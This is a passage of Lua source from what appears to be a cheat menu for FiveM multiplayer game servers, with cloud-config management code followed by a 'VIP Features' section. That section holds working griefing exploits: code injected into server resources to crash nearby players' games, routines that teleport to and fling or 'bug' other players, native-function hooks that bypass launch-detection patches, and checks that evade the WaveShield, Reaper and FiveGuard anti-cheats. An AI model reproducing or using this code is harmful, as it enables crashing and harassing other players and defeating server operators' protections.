MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'Failed to parse server response!', type = 'error'})) end return end if not data.success then local errorMsg = data.message or 'Failed to load configs!' if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = errorMsg, type = 'error'})) end return end local configs = data.configs or {} if not configs or type(configs) ~= 'table' or #configs == 0 then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'You have no saved configs!', type = 'info'})) end return end -- Show success message if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = string.format('Loaded %d config(s)', #configs), type = 'success'})) end local settingsMenu = nil for _, item in ipairs(originalMenu) do if item.label == 'Settings' then settingsMenu = item break end end if not settingsMenu or not settingsMenu.tabs then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'Settings menu not found!', type = 'error'})) end return end local configsTab = nil for _, tab in ipairs(settingsMenu.tabs) do if tab.name == 'Configs' then configsTab = tab break end end if not configsTab then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'Configs tab not found!', type = 'error'})) end return end -- Preserve the first two buttons (Create and Load) - safely if not configsTab.submenu or #configsTab.submenu < 2 then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'Invalid configs menu structure!', type = 'error'})) end return end configsTab.submenu = {configsTab.submenu[1], configsTab.submenu[2]} table.insert(configsTab.submenu, {label = '--- Saved Configs ---', type = 'button', onConfirm = function() end}) for i, config in ipairs(configs) do -- Safely get config data with defaults local configId = config.id or '' local configName = config.name or 'Unnamed Config' local configKeybinds = config.keybinds or '[]' -- Validate keybinds is a string if type(configKeybinds) ~= 'string' then configKeybinds = '[]' end -- Validate it's valid JSON before creating menu item local isValidJson = false local testDecode = nil if configKeybinds ~= '' then local testSuccess, testResult = pcall(json.decode, configKeybinds) if testSuccess and testResult and type(testResult) == 'table' then isValidJson = true testDecode = testResult end end local currentConfig = {id = configId, name = configName, keybinds = configKeybinds} -- Only add menu item if config has valid data table.insert(configsTab.submenu, { label = configName, type = 'submenu', submenu = { {label = 'Load Config', type = 'button', canBind = true, bindName = 'Load ' .. configName, onConfirm = function() -- Re-validate keybinds data if not isValidJson or not testDecode then local success3, keybindsData = pcall(json.decode, currentConfig.keybinds) if not success3 or not keybindsData or type(keybindsData) ~= 'table' then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'Failed to load config data! Invalid or empty keybinds.', type = 'error'})) end return end testDecode = keybindsData end local keybindsData = testDecode if not keybindsData or #keybindsData == 0 then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'Config has no keybinds to load!', type = 'info'})) end return end local function findItemInMenu(menu, targetLabel) for _, item in ipairs(menu) do if item.label == targetLabel then return item end if item.type == "submenu" and item.submenu then local found = findItemInMenu(item.submenu, targetLabel) if found then return found end end if item.tabs then for _, tab in ipairs(item.tabs) do if tab.submenu then local found = findItemInMenu(tab.submenu, targetLabel) if found then return found end end end end end return nil end customKeybinds = {} local successCount = 0 -- Safely iterate through keybinds if keybindsData and type(keybindsData) == 'table' then for _, bind in ipairs(keybindsData) do if bind and type(bind) == 'table' and bind.itemLabel then local menuItem = findItemInMenu(originalMenu, bind.itemLabel) if menuItem and menuItem.onConfirm then local controlId = bind.controlId if controlId and type(controlId) == 'number' then customKeybinds[controlId] = { name = bind.name or 'Unknown', itemType = bind.itemType or 'button', itemLabel = bind.itemLabel, originalCallback = menuItem.onConfirm } successCount = successCount + 1 end end end end end if dui then local totalBinds = keybindsData and #keybindsData or 0 MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = string.format('Config "%s" loaded! (%d/%d keybinds)', currentConfig.name, successCount, totalBinds), type = 'success' })) end end}, {label = 'Override Config', type = 'button', canBind = true, bindName = 'Override ' .. currentConfig.name, onConfirm = function() local keybindsData = {} if customKeybinds then for controlId, keyInfo in pairs(customKeybinds) do table.insert(keybindsData, {controlId = controlId, name = keyInfo.name, itemType = keyInfo.itemType, itemLabel = keyInfo.itemLabel}) end end local authKey = MachoAuthenticationKey() if not authKey or authKey == '' then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'No authentication key found!', type = 'error'})) end return end local success3, response = pcall(function() local url = string.format('%s/api/cloud_configs/configs/create?auth_key=%s&config_name=%s&keybinds_data=%s&override=true', WEBSITE_URL, urlEncode(authKey), urlEncode(currentConfig.name), urlEncode(json.encode(keybindsData))) return MachoWebRequest(url) end) if not success3 then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'Error overriding config: ' .. tostring(response), type = 'error'})) end return end if response and response ~= '' then -- Try to decrypt the response (it's encrypted) local decrypted = decrypt(response, ENCRYPTION_KEY) if not decrypted or decrypted == "" then decrypted = response -- Fallback to plain JSON end local success4, data = pcall(json.decode, decrypted) if success4 and data and data.success then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'Config "' .. currentConfig.name .. '" overridden!', type = 'success'})) end else local errorMsg = data and data.message or 'Failed to override config!' if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = errorMsg, type = 'error'})) end end else if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'Server connection failed!', type = 'error'})) end end end}, {label = 'Share Config', type = 'button', canBind = true, bindName = 'Share ' .. currentConfig.name, onConfirm = function() local authKey = MachoAuthenticationKey() if not authKey or authKey == '' then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'No authentication key found!', type = 'error'})) end return end local success3, response = pcall(function() local url = string.format('%s/api/cloud_configs/configs/%s/export?auth_key=%s', WEBSITE_URL, urlEncode(currentConfig.id), urlEncode(authKey)) return MachoWebRequest(url) end) if not success3 then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'Error sharing config: ' .. tostring(response), type = 'error'})) end return end if response and response ~= '' then -- Try to decrypt the response (it's encrypted) local decrypted = decrypt(response, ENCRYPTION_KEY) if not decrypted or decrypted == "" then decrypted = response -- Fallback to plain JSON end local success4, data = pcall(json.decode, decrypted) if success4 and data and data.success and data.share_code then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'Share code: ' .. data.share_code, type = 'success'})) end else local errorMsg = data and data.message or 'Failed to generate share code!' if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = errorMsg, type = 'error'})) end end else if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'Server connection failed!', type = 'error'})) end end end}, {label = 'Delete Config', type = 'button', canBind = true, bindName = 'Delete ' .. currentConfig.name, onConfirm = function() local authKey = MachoAuthenticationKey() if not authKey or authKey == '' then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'No authentication key found!', type = 'error'})) end return end local success3, response = pcall(function() local url = string.format('%s/api/cloud_configs/configs/%s?auth_key=%s', WEBSITE_URL, urlEncode(currentConfig.id), urlEncode(authKey)) return MachoWebRequest(url) end) if not success3 then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'Error deleting config: ' .. tostring(response), type = 'error'})) end return end if response and response ~= '' then -- Try to decrypt the response (it's encrypted) local decrypted = decrypt(response, ENCRYPTION_KEY) if not decrypted or decrypted == "" then decrypted = response -- Fallback to plain JSON end local success4, data = pcall(json.decode, decrypted) if success4 and data then if data.success then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'Config "' .. currentConfig.name .. '" deleted!', type = 'success'})) end -- Reload configs to update the menu Wait(500) -- Trigger reload by calling Load Configs again local loadButton = configsTab.submenu[2] if loadButton and loadButton.onConfirm then loadButton.onConfirm() end else local errorMsg = data.message or 'Failed to delete config!' if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = errorMsg, type = 'error'})) end end else if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'Failed to parse server response!', type = 'error'})) end end else if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'Server connection failed!', type = 'error'})) end end end} } }) end if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'Loaded ' .. #configs .. ' config(s)!', type = 'success'})) end if setCurrent then setCurrent() end end }, { label = 'Import Config', type = 'button', canBind = true, bindName = 'Import Config', onConfirm = function() openTextInput('Enter share code:', '', '', 50, function(shareCode) if not shareCode or shareCode == '' then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'Share code is required!', type = 'error'})) end return end local authKey = MachoAuthenticationKey() if not authKey or authKey == '' then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'No authentication key found!', type = 'error'})) end return end local success, response = pcall(function() local url = string.format('%s/api/cloud_configs/configs/import?auth_key=%s&share_code=%s', WEBSITE_URL, urlEncode(authKey), urlEncode(shareCode)) return MachoWebRequest(url) end) if not success then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'Error importing config: ' .. tostring(response), type = 'error'})) end return end if response and response ~= '' then -- Try to decrypt the response (it's encrypted) local decrypted = decrypt(response, ENCRYPTION_KEY) if not decrypted or decrypted == "" then decrypted = response -- Fallback to plain JSON end local success2, data = pcall(json.decode, decrypted) if success2 and data then if data.success then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'Config imported successfully!', type = 'success'})) end else local errorMsg = data.message or 'Failed to import config!' if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = errorMsg, type = 'error'})) end end else if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'Failed to parse server response!', type = 'error'})) end end else if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'Server connection failed!', type = 'error'})) end end end, 'general') end } } } } } } -- Add VIP Features category if user has VIP status if _G["NexusMenuVIPStatus"] then table.insert(originalMenu, { label = "VIP Features", type = 'submenu', icon = 'ph-crown', tabs = { { name = 'VIP #1', submenu = { { label = 'Crash Nearby Players (Semi risky)', type = 'button', canBind = true, bindName = 'VIP Test Button', onConfirm = function() if dui then MachoInjectResourceRaw("monitor", [[ CreateThread(function() local ruiner2_model = GetHashKey("ruiner2") local freemode_model = GetHashKey("mp_m_freemode_01") RequestModel(ruiner2_model) RequestModel(freemode_model) while not HasModelLoaded(ruiner2_model) or not HasModelLoaded(freemode_model) do Wait(0) end local x, y, z = table.unpack(GetEntityCoords(PlayerPedId())) local veh = CreateVehicle(ruiner2_model, x, y, z + 70.0, 0.0, true, true) SetEntityAsMissionEntity(veh, true, true) SetVehicleOnGroundProperly(veh) NetworkRegisterEntityAsNetworked(veh) SetVehRadioStation(veh, "OFF") SetModelAsNoLongerNeeded(ruiner2_model) local ped = CreatePed(26, freemode_model, 0.0, 0.0, 0.0, 0.0, false, false) SetModelAsNoLongerNeeded(freemode_model) SetEntityCollision(veh, false, false) SetPedIntoVehicle(ped, veh, -1) Wait(200) NetworkRequestControlOfEntity(veh) NetworkRegisterEntityAsNetworked(veh) SetVehicleFlag(veh, 128, true) SetVehicleParachuteModel(veh, GetHashKey("prop_sapling_break_02")) SetVehicleParachuteActive(veh, true) Wait(400) DeleteEntity(veh) DeleteEntity(ped) end) ]]) MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Crash Executed!", type = 'success' })) end end }, { label = 'Bug Near Players V2', type = 'checkbox', canBind = true, bindName = 'Crash/Bug Nearby Players', value = false, onConfirm = function() if not _G.crashBugNearbyPlayersActive then _G.crashBugNearbyPlayersActive = true Citizen.CreateThread(function() while _G.crashBugNearbyPlayersActive do SetEntityVisible(PlayerPedId(), false, false) FreezeEntityPosition(PlayerPedId(), true) TaskStartScenarioInPlace(PlayerPedId(), "WORLD_HUMAN_WELDING", 0, false) Citizen.Wait(10) ClearPedTasks(PlayerPedId()) TaskStartScenarioInPlace(PlayerPedId(), "WORLD_HUMAN_WELDING", 0, true) end FreezeEntityPosition(PlayerPedId(), false) ClearPedTasks(PlayerPedId()) ClearPedTasksImmediately(PlayerPedId()) SetEntityVisible(PlayerPedId(), true, true) end) else _G.crashBugNearbyPlayersActive = false end end }, { label = 'Launch All Nearby Players', type = 'button', canBind = true, bindName = 'Launch All Nearby Players', onConfirm = function() local function safeCall(fn, ...) if fn then return fn(...) end end local PlayerPedId = _G.PlayerPedId or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local GetPlayerPed = _G.GetPlayerPed or function(...) end local SetEntityVisible = _G.SetEntityVisible or function(...) end local SetEntityCoordsNoOffset = _G.SetEntityCoordsNoOffset or function(...) end local Wait = _G.Wait or function(...) end -- Get all nearby players local myPed = safeCall(PlayerPedId) local myCoords = safeCall(GetEntityCoords, myPed) local nearbyPlayers = {} -- Build list of nearby players for _, player in ipairs(playerList) do local targetPed = safeCall(GetPlayerPed, player.localId) if safeCall(DoesEntityExist, targetPed) and targetPed ~= myPed then local targetCoords = safeCall(GetEntityCoords, targetPed) local distance = #(myCoords - targetCoords) if distance < 500.0 then -- Only players within 100 units table.insert(nearbyPlayers, { player = player, ped = targetPed, coords = targetCoords, distance = distance }) end end end if #nearbyPlayers == 0 then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No nearby players found!", type = 'warn' })) end return end -- Sort by distance (closest first) table.sort(nearbyPlayers, function(a, b) return a.distance < b.distance end) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Launching " .. #nearbyPlayers .. " nearby players...", type = 'success' })) end -- Launch each player with 1 second delay Citizen.CreateThread(function() for i, targetData in ipairs(nearbyPlayers) do local targetPlayer = targetData.player local targetPed = targetData.ped local targetCoords = targetData.coords -- Execute Bug Player 1 logic for this player local myOriginalCoords = safeCall(GetEntityCoords, myPed) local distance = #(myOriginalCoords - targetCoords) local teleported = false -- Teleport if needed if distance > 8.0 then local angle = math.random() * 2 * math.pi local radius = math.random(3, 6) local xOffset = math.cos(angle) * radius local yOffset = math.sin(angle) * radius local newCoords = vector3(targetCoords.x + xOffset, targetCoords.y + yOffset, targetCoords.z) safeCall(SetEntityCoordsNoOffset, myPed, newCoords.x, newCoords.y, newCoords.z, false, false, false) safeCall(SetEntityVisible, myPed, false, 0) teleported = true safeCall(Wait, 50) end -- Check if WaveShield is running local waveShieldRunning = GetResourceState("adssaddsadsasdasadadsdsa") == "started" SetPedConfigFlag(PlayerPedId(), 342, false) SetPedConfigFlag(PlayerPedId(), 252, true) SetPedConfigFlag(PlayerPedId(), 141, true) SetPedConfigFlag(PlayerPedId(), 144, true) if not waveShieldRunning then -- Use Macho injection when WaveShield is not running MachoInjectResource2(NewThreadNs, InjectionResource(), string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local PlayerPedId = _G.PlayerPedId or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local ClearPedTasksImmediately = _G.ClearPedTasksImmediately or function(...) end local SetEntityCoords = _G.SetEntityCoords or function(...) end local AttachEntityToEntityPhysically = _G.AttachEntityToEntityPhysically or function(...) end local DetachEntity = _G.DetachEntity or function(...) end local GetPlayerPed = _G.GetPlayerPed or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local CreateThread = _G.CreateThread or function(...) end local SetEntityVisible = _G.SetEntityVisible or function(...) end local Wait = _G.Wait or function(...) end local myTrueOriginalCoords = vector3(%f, %f, %f) local targetPlayerId = %d local isActive = true local maxIterations = 12 local iterationCount = 0 safeCall(CreateThread, function() if not isActive then return end local selfPed = safeCall(PlayerPedId) local targetPed = safeCall(GetPlayerPed, targetPlayerId) if not targetPed or not safeCall(DoesEntityExist, targetPed) or targetPed == selfPed then isActive = false return end local targetCoords = safeCall(GetEntityCoords, targetPed) if not targetCoords or targetCoords.z < -1000.0 or targetCoords.z > 2000.0 then isActive = false return end while isActive and iterationCount < maxIterations do iterationCount = iterationCount + 1 selfPed = safeCall(PlayerPedId) if not safeCall(DoesEntityExist, targetPed) then break end local currentTargetCoords = safeCall(GetEntityCoords, targetPed) if currentTargetCoords and currentTargetCoords.z > -1000.0 and currentTargetCoords.z < 2000.0 then safeCall(ClearPedTasksImmediately, selfPed) safeCall(SetEntityCoords, selfPed, currentTargetCoords.x, currentTargetCoords.y, currentTargetCoords.z, false, false, false, true) safeCall(Wait, 25) safeCall(AttachEntityToEntityPhysically, selfPed, targetPed, 0, 0.0, 0.0, 0.0, 200.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1, false, false, 1, 2 ) safeCall(Wait, 25) safeCall(DetachEntity, selfPed, true, true) else break end end safeCall(Wait, 200) selfPed = safeCall(PlayerPedId) safeCall(ClearPedTasksImmediately, selfPed) if myTrueOriginalCoords and myTrueOriginalCoords.z > -1000.0 and myTrueOriginalCoords.z < 2000.0 then safeCall(SetEntityCoords, selfPed, myTrueOriginalCoords.x, myTrueOriginalCoords.y, myTrueOriginalCoords.z + 0.5, false, false, false, true) safeCall(Wait, 50) safeCall(SetEntityCoords, selfPed, myTrueOriginalCoords.x, myTrueOriginalCoords.y, myTrueOriginalCoords.z, false, false, false, true) end safeCall(SetEntityVisible, selfPed, true, 0) isActive = false end) ]], myOriginalCoords.x, myOriginalCoords.y, myOriginalCoords.z, targetPlayer.localId)) else -- Direct execution for WaveShield local function safeCallWave(fn, ...) if fn then return fn(...) end end local PlayerPedId = _G.PlayerPedId or function(...) end local GetPlayerPed = _G.GetPlayerPed or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local SetEntityCoordsNoOffset = _G.SetEntityCoordsNoOffset or function(...) end local SetEntityVisible = _G.SetEntityVisible or function(...) end local Wait = _G.Wait or function(...) end local CreateThread = _G.CreateThread or function(...) end local ClearPedTasksImmediately = _G.ClearPedTasksImmediately or function(...) end local SetEntityCoords = _G.SetEntityCoords or function(...) end local AttachEntityToEntityPhysically = _G.AttachEntityToEntityPhysically or function(...) end local DetachEntity = _G.DetachEntity or function(...) end local myPedWave = safeCallWave(PlayerPedId) local targetPedWave = safeCallWave(GetPlayerPed, targetPlayer.localId) if safeCallWave(DoesEntityExist, targetPedWave) then local myOriginalCoordsWave = safeCallWave(GetEntityCoords, myPedWave) local targetCoordsWave = safeCallWave(GetEntityCoords, targetPedWave) local distanceWave = #(myOriginalCoordsWave - targetCoordsWave) if distanceWave > 8.0 then local angle = math.random() * 2 * math.pi local radius = math.random(3, 6) local xOffset = math.cos(angle) * radius local yOffset = math.sin(angle) * radius local newCoords = vector3(targetCoordsWave.x + xOffset, targetCoordsWave.y + yOffset, targetCoordsWave.z) safeCallWave(SetEntityCoordsNoOffset, myPedWave, newCoords.x, newCoords.y, newCoords.z, false, false, false) safeCallWave(SetEntityVisible, myPedWave, false, 0) safeCallWave(Wait, 50) end safeCallWave(CreateThread, function() local maxIterations = 12 for i = 1, maxIterations do local currentTargetCoords = safeCallWave(GetEntityCoords, targetPedWave) if currentTargetCoords then safeCallWave(ClearPedTasksImmediately, myPedWave) safeCallWave(SetEntityCoords, myPedWave, currentTargetCoords.x, currentTargetCoords.y, currentTargetCoords.z, false, false, false, true) safeCallWave(Wait, 25) safeCallWave(AttachEntityToEntityPhysically, myPedWave, targetPedWave, 0, 0.0, 0.0, 0.0, 200.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1, false, false, 1, 2) safeCallWave(Wait, 25) safeCallWave(DetachEntity, myPedWave, true, true) end end safeCallWave(Wait, 200) safeCallWave(ClearPedTasksImmediately, myPedWave) safeCallWave(SetEntityCoords, myPedWave, myOriginalCoordsWave.x, myOriginalCoordsWave.y, myOriginalCoordsWave.z, false, false, false, true) safeCallWave(SetEntityVisible, myPedWave, true, 0) end) end end -- Restore visibility if teleported if teleported then safeCall(Wait, 500) safeCall(SetEntityVisible, myPed, true, 0) end -- Wait 1 second before next player (unless it's the last one) if i < #nearbyPlayers then safeCall(Wait, 1000) end end -- Final notification if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Finished launching all " .. #nearbyPlayers .. " nearby players!", type = 'success' })) end end) end }, { label = 'Bypass Launch Player Patches', type = 'checkbox', canBind = true, bindName = 'Bypass Launch Player Patches', value = false, onConfirm = function() -- Toggle bypass patches state if not _G.bypassLaunchPatchesActive then _G.bypassLaunchPatchesActive = true -- Thread 1: MachoHookNative loop Citizen.CreateThread(function() while _G.bypassLaunchPatchesActive do -- Hook the native function at address 0x30CE39D8 MachoHookNative(0x30CE39D8, function(...) return false end) MachoHookNative(0xEFBE71898A993728, function(...) return false, 0 end) -- GetEntityAttachedTo - return 0 (not attached) MachoHookNative(0xB346476EF1A64897, function(...) return false, false end) -- IsEntityAttached - return false MachoHookNative(0xEFBE71898A993729, function(...) return false, false end) -- IsEntityAttachedToEntity - return false -- Wait before next iteration Citizen.Wait(1000) end end) -- Thread 3: SetPedConfigFlag 342 loop (only this flag loops) Citizen.CreateThread(function() while _G.bypassLaunchPatchesActive do SetPedConfigFlag(PlayerPedId(), 342, false) SetPedConfigFlag(PlayerPedId(), 252, true) SetPedConfigFlag(PlayerPedId(), 141, true) SetPedConfigFlag(PlayerPedId(), 144, true) Citizen.Wait(1000) end end) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Bypass Launch Player Patches: ENABLED", type = 'success' })) end else _G.bypassLaunchPatchesActive = false if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Bypass Launch Player Patches: DISABLED", type = 'info' })) end end end }, { label = 'Bug All Nearby Players', type = 'button', canBind = true, bindName = 'Bug All Nearby Players', onConfirm = function() local function safeCall(fn, ...) if fn then return fn(...) end end local PlayerPedId = _G.PlayerPedId or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local GetPlayerPed = _G.GetPlayerPed or function(...) end local myPed = safeCall(PlayerPedId) local myCoords = safeCall(GetEntityCoords, myPed) local nearbyPlayers = {} for _, player in ipairs(playerList) do local targetPed = safeCall(GetPlayerPed, player.localId) if safeCall(DoesEntityExist, targetPed) and targetPed ~= myPed then local targetCoords = safeCall(GetEntityCoords, targetPed) local distance = #(myCoords - targetCoords) if distance < 100.0 then table.insert(nearbyPlayers, { player = player, ped = targetPed, coords = targetCoords, distance = distance }) end end end if #nearbyPlayers == 0 then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No nearby players found!", type = 'warn' })) end return end -- Sort by distance (closest first) table.sort(nearbyPlayers, function(a, b) return a.distance < b.distance end) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Bugging " .. #nearbyPlayers .. " nearby players...", type = 'success' })) end -- Bug each player with 1 second delay Citizen.CreateThread(function() for i, targetData in ipairs(nearbyPlayers) do local targetPlayer = targetData.player -- Check if WaveShield is running local waveShieldRunning = GetResourceState("adsasdasdadsads") == "started" if waveShieldRunning then -- Direct execution for WaveShield (no injection needed) local function safeCallWave(fn, ...) if fn then return fn(...) end end local GetPlayerPed = _G.GetPlayerPed or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local GetEntityHeading = _G.GetEntityHeading or function(...) end local GetClosestVehicle = _G.GetClosestVehicle or function(...) end local GetVehiclePedIsIn = _G.GetVehiclePedIsIn or function(...) end local NetworkRequestControlOfEntity = _G.NetworkRequestControlOfEntity or function(...) end local Wait = _G.Wait or function(...) end local SetPedIntoVehicle = _G.SetPedIntoVehicle or function(...) end local ClearPedTasks = _G.ClearPedTasks or function(...) end local CreateThread = _G.CreateThread or function(...) end local GetGameTimer = _G.GetGameTimer or function(...) end local AttachEntityToEntityPhysically = _G.AttachEntityToEntityPhysically or function(...) end local SetEntityCoords = _G.SetEntityCoords or function(...) end local SetEntityHeading = _G.SetEntityHeading or function(...) end local SetEntityVisible = _G.SetEntityVisible or function(...) end local SetEntityAlpha = _G.SetEntityAlpha or function(...) end local ResetEntityAlpha = _G.ResetEntityAlpha or function(...) end local targetPed = safeCallWave(GetPlayerPed, targetPlayer.localId) local myPedWave = safeCallWave(PlayerPedId) local targetCoords = safeCallWave(GetEntityCoords, targetPed) local originalCoords = safeCallWave(GetEntityCoords, myPedWave) local originalHeading = safeCallWave(GetEntityHeading, myPedWave) local bugVehicle = safeCallWave(GetClosestVehicle, targetCoords.x, targetCoords.y, targetCoords.z, 500.0, 0, 70) if not bugVehicle or bugVehicle == 0 then local playerVehicle = safeCallWave(GetVehiclePedIsIn, targetPed, false) if playerVehicle and playerVehicle ~= 0 then bugVehicle = playerVehicle end end if bugVehicle and bugVehicle ~= 0 then -- First warp into driver seat, then request control after a delay safeCallWave(SetPedIntoVehicle, myPedWave, bugVehicle, -1) safeCallWave(Wait, 1000) -- Use direct native call to bypass Reaper detection safeCallWave(NetworkRequestControlOfEntity, bugVehicle) safeCallWave(Wait, 200) safeCallWave(ClearPedTasks, myPedWave) safeCallWave(CreateThread, function() local startTime = safeCallWave(GetGameTimer) local duration = 3000 while safeCallWave(GetGameTimer) - startTime < duration do safeCallWave(AttachEntityToEntityPhysically, bugVehicle, targetPed, 99999999999999999999999999, 999999999999999999999990, 99999999999999999999990, 2226999999994.58, 1429999999999236.928, 800999999999990.0, 199999999999999999980.0, 8889099998.0, 999999999999999999999999999999999999999.0, true, true, true, true, 0) safeCallWave(Wait, 0) end safeCallWave(SetEntityCoords, myPedWave, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false, true) safeCallWave(SetEntityHeading, myPedWave, originalHeading) safeCallWave(SetEntityVisible, myPedWave, true, 0) safeCallWave(SetEntityAlpha, myPedWave, 255, 0) safeCallWave(ResetEntityAlpha, myPedWave) end) end else -- Use Macho injection when WaveShield is not running MachoInjectResource2(NewThreadNs, InjectionResource(), string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local GetPlayerPed = _G.GetPlayerPed or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local GetClosestVehicle = _G.GetClosestVehicle or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local SetPedIntoVehicle = _G.SetPedIntoVehicle or function(...) end local ClearPedTasks = _G.ClearPedTasks or function(...) end local NetworkRequestControlOfEntity = _G.NetworkRequestControlOfEntity or function(...) end local GetGameTimer = _G.GetGameTimer or function(...) end local Wait = _G.Wait or function(...) end local AttachEntityToEntityPhysically = _G.AttachEntityToEntityPhysically or function(...) end local CreateThread = _G.CreateThread or function(...) end local GetVehiclePedIsIn = _G.GetVehiclePedIsIn or function(...) end local GetEntityHeading = _G.GetEntityHeading or function(...) end local SetEntityCoords = _G.SetEntityCoords or function(...) end local SetEntityHeading = _G.SetEntityHeading or function(...) end local SetEntityVisible = _G.SetEntityVisible or function(...) end local SetEntityAlpha = _G.SetEntityAlpha or function(...) end local ResetEntityAlpha = _G.ResetEntityAlpha or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local NetworkHasControlOfEntity = _G.NetworkHasControlOfEntity or function(...) end local Citizen = _G.Citizen or {} local InvokeNative = Citizen.InvokeNative or function(...) end -- Native hash for NetworkRequestControlOfEntity (bypasses Reaper hook) local NETWORK_REQUEST_CONTROL_OF_ENTITY = 0xB69317BF5E782347 local function RequestControlDirect(entity) if not safeCall(DoesEntityExist, entity) then return false end -- Check if we already have control if safeCall(NetworkHasControlOfEntity, entity) then return true end -- Request control using native hash safeCall(InvokeNative, NETWORK_REQUEST_CONTROL_OF_ENTITY, entity) -- Wait for control local attempts = 0 while not safeCall(NetworkHasControlOfEntity, entity) and attempts < 30 do safeCall(Wait, 10) safeCall(InvokeNative, NETWORK_REQUEST_CONTROL_OF_ENTITY, entity) attempts = attempts + 1 end return safeCall(NetworkHasControlOfEntity, entity) end local targetPed = safeCall(GetPlayerPed, %d) local myPed = safeCall(PlayerPedId) local targetCoords = safeCall(GetEntityCoords, targetPed) local originalCoords = safeCall(GetEntityCoords, myPed) local originalHeading = safeCall(GetEntityHeading, myPed) local bugVehicle = safeCall(GetClosestVehicle, targetCoords.x, targetCoords.y, targetCoords.z, 500.0, 0, 70) if not bugVehicle or bugVehicle == 0 then local playerVehicle = safeCall(GetVehiclePedIsIn, targetPed, false) if playerVehicle and playerVehicle ~= 0 then bugVehicle = playerVehicle end end if bugVehicle and bugVehicle ~= 0 then -- First warp into driver seat safeCall(SetPedIntoVehicle, myPed, bugVehicle, -1) safeCall(Wait, 1000) -- Request control using direct native RequestControlDirect(bugVehicle) safeCall(Wait, 200) safeCall(ClearPedTasks, myPed) safeCall(CreateThread, function() local startTime = safeCall(GetGameTimer) local duration = 3000 while safeCall(GetGameTimer) - startTime < duration do safeCall(AttachEntityToEntityPhysically, bugVehicle, targetPed, 99999999999999999999999999, 999999999999999999999990, 99999999999999999999990, 2226999999994.58, 1429999999999236.928, 800999999999990.0, 199999999999999999980.0, 8889099998.0, 999999999999999999999999999999999999999.0, true, true, true, true, 0) safeCall(Wait, 0) end safeCall(SetEntityCoords, myPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false, true) safeCall(SetEntityHeading, myPed, originalHeading) safeCall(SetEntityVisible, myPed, true, 0) safeCall(SetEntityAlpha, myPed, 255, 0) safeCall(ResetEntityAlpha, myPed) end) end ]], targetPlayer.localId)) end -- Wait 1 second before next player (unless it's the last one) if i < #nearbyPlayers then Citizen.Wait(1000) end end -- Final notification if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Finished bugging all " .. #nearbyPlayers .. " nearby players!", type = 'success' })) end end) end }, { label = 'Open Admin Menu (FiveGuard)', type = 'button', canBind = false, onConfirm = function() CreateThread(function() Wait(500) local fgFound = false local maxAttempts = 5 local attemptCount = 0 local fgRes = nil while not fgFound and attemptCount < maxAttempts do attemptCount = attemptCount + 1 for i = 0, GetNumResources() - 1 do local v = GetResourceByFindIndex(i) if v and GetResourceState(v) == "started" then if GetResourceMetadata(v, "ac", 0) == "fg" then fgFound = true fgRes = v break end end end if not fgFound then Wait(500) end end if fgFound and fgRes then 